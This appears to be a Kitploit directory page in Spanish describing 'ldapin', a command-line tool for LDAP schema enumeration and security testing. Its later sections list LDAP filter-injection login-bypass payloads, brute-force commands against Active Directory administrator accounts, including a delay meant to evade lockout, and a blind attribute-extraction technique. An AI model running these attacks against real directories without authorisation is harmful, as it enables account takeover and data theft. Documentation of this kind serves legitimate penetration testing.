Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ldapin — Herramienta CLI para realizar tareas básicas de LDAP para evaluaciones de seguridad | Kitploit
Herramientas/GitHubGitHub/affolter-engineering/ldapin
ReconocimientoAtaques de ContraseñasAnálisis de VulnerabilidadesRecopilación de InformaciónPruebas de PenetraciónAutenticación
GitHubaffolter-engineering/ldapin

ldapin

Herramienta CLI para realizar tareas básicas de LDAP para evaluaciones de seguridad

Ver Repositorio
129hace 3 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ldapin

Una herramienta CLI que descubre campos LDAP válidos consultando el subschema de un servidor LDAP. Lee attributeTypes y objectClasses directamente del servidor, por lo que los resultados siempre reflejan lo que el servidor realmente soporta.

Características

  • Lista todos los tipos de atributos con OID, sintaxis, cardinalidad, alias y descripción
  • Lista todas las clases de objetos con tipo (estructural/auxiliar/abstracta), atributos requeridos/opcionales y cadena de superclase
  • Filtro de subcadena en nombre o descripción
  • Tres formatos de salida: tabla, JSON, CSV
  • Bind anónimo y autenticado (simple)
  • LDAP simple, LDAPS y STARTTLS

Instalación

Nix (recomendado)

# Ejecutar directamente sin instalar
nix run github:your-user/ldapin

# O compilar y enlazar en ./result/bin/ldapin
nix build github:your-user/ldapin

Para usuarios de Nix o NixOS hay un paquete disponible. Ten en cuenta que las últimas versiones podrían solo estar presentes en el canal unstable.

nix-env -iA nixos.lapin

Desde un checkout local:

nix run .
nix build .

Cargo

cargo install --path .

Uso

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

Ejemplos

Listar todos los tipos de atributos en un servidor local:

ldapin

Autenticarse y listar todas las clases de objetos:

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

Encontrar todos los atributos relacionados con mail:

ldapin -H ldap://ldap.example.org -f mail

Mostrar todo en JSON:

ldapin -H ldaps://ldap.example.org -m both -o json

Exportar todos los atributos a CSV:

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

Mostrar la entrada de la clase de objeto inetOrgPerson:

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

Conectar con STARTTLS:

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

Pruebas con el servidor LDAP público de ForumSys

ForumSys proporciona un servidor LDAP gratuito de solo lectura adecuado para pruebas.

ParámetroValor
Hostldap.forumsys.com
Puerto389
Bind DNcn=read-only-admin,dc=example,dc=com
Contraseñapassword
Base DNdc=example,dc=com

Listar todos los tipos de atributos (bind anónimo):

ldapin -H ldap://ldap.forumsys.com

Listar todos los tipos de atributos (autenticado):

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

Listar todas las clases de objetos:

ldapin -H ldap://ldap.forumsys.com -m object-classes

Mostrar la clase de objeto inetOrgPerson:

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

Filtrar atributos por nombre:

ldapin -H ldap://ldap.forumsys.com -f mail

Exportar todo a JSON:

ldapin -H ldap://ldap.forumsys.com -m both -o json

Pruebas de bypass de inicio de sesión

El modo login-bypass sondea un servidor LDAP en busca de vulnerabilidades de inyección de filtros. Construye 11 payloads derivados de técnicas conocidas de inyección LDAP e informa cuáles devuelven entradas. El mismo resultado que produciría una aplicación web vulnerable si construyera su filtro de autenticación a partir de entrada de usuario no saneada.

# Sondear con bind anónimo, payloads de cualquier usuario
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Sondear una cuenta específica
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Usar sAMAccountName y unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# Salida JSON para scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

Payloads probados:

PayloadPlantilla de filtro
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

Ejemplo con ForumSys

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

Ataque de diccionario

El modo brute-force primero resuelve el DN completo del usuario objetivo mediante una búsqueda LDAP, luego intenta simple_bind(dn, password) para cada línea en la wordlist, deteniéndose en el primer éxito.

Flags requeridos: -b / --base-dn, -u / --target-user, --wordlist.

# Ataque de diccionario básico
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# Con un retraso de 500 ms entre intentos para mantenerse por debajo de los umbrales de bloqueo
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (usar sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# Salida JSON
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

El progreso (resolución de DN, conteo de intentos, resultado) se escribe en stderr; el resultado va a stdout, por lo que -o json y -o csv se canalizan limpiamente.

Ejemplo con ForumSys

# Crear una wordlist pequeña con la contraseña conocida
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

Extracción ciega de atributos

El modo blind-extract recupera el valor de cualquier atributo legible un carácter a la vez sondeando repetidamente con filtros de sufijo comodín:

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

Este es el equivalente LDAP directo del clásico bucle de inyección ciega usado contra aplicaciones web vulnerables que construyen filtros LDAP a partir de entrada no saneada.

Flags requeridos: -b / --base-dn, -u / --target-user, --extract-attr.

Descargar herramienta